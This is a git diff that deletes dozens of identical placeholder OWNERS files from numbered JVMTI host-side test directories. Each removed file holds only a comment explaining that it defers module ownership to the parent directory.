diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1901/OWNERS b/hostsidetests/jvmti/run-tests/test-1901/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1902/OWNERS b/hostsidetests/jvmti/run-tests/test-1902/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1903/OWNERS b/hostsidetests/jvmti/run-tests/test-1903/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1904/OWNERS b/hostsidetests/jvmti/run-tests/test-1904/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1906/OWNERS b/hostsidetests/jvmti/run-tests/test-1906/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1907/OWNERS b/hostsidetests/jvmti/run-tests/test-1907/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1908/OWNERS b/hostsidetests/jvmti/run-tests/test-1908/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1909/OWNERS b/hostsidetests/jvmti/run-tests/test-1909/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1910/OWNERS b/hostsidetests/jvmti/run-tests/test-1910/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1911/OWNERS b/hostsidetests/jvmti/run-tests/test-1911/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1912/OWNERS b/hostsidetests/jvmti/run-tests/test-1912/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1913/OWNERS b/hostsidetests/jvmti/run-tests/test-1913/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1914/OWNERS b/hostsidetests/jvmti/run-tests/test-1914/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1915/OWNERS b/hostsidetests/jvmti/run-tests/test-1915/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1916/OWNERS b/hostsidetests/jvmti/run-tests/test-1916/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1917/OWNERS b/hostsidetests/jvmti/run-tests/test-1917/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1920/OWNERS b/hostsidetests/jvmti/run-tests/test-1920/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1921/OWNERS b/hostsidetests/jvmti/run-tests/test-1921/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1922/OWNERS b/hostsidetests/jvmti/run-tests/test-1922/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1923/OWNERS b/hostsidetests/jvmti/run-tests/test-1923/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1924/OWNERS b/hostsidetests/jvmti/run-tests/test-1924/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1925/OWNERS b/hostsidetests/jvmti/run-tests/test-1925/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1926/OWNERS b/hostsidetests/jvmti/run-tests/test-1926/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1927/OWNERS b/hostsidetests/jvmti/run-tests/test-1927/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1928/OWNERS b/hostsidetests/jvmti/run-tests/test-1928/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1930/OWNERS b/hostsidetests/jvmti/run-tests/test-1930/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1931/OWNERS b/hostsidetests/jvmti/run-tests/test-1931/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1932/OWNERS b/hostsidetests/jvmti/run-tests/test-1932/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1933/OWNERS b/hostsidetests/jvmti/run-tests/test-1933/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1934/OWNERS b/hostsidetests/jvmti/run-tests/test-1934/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/OWNERS
+++ /dev/null
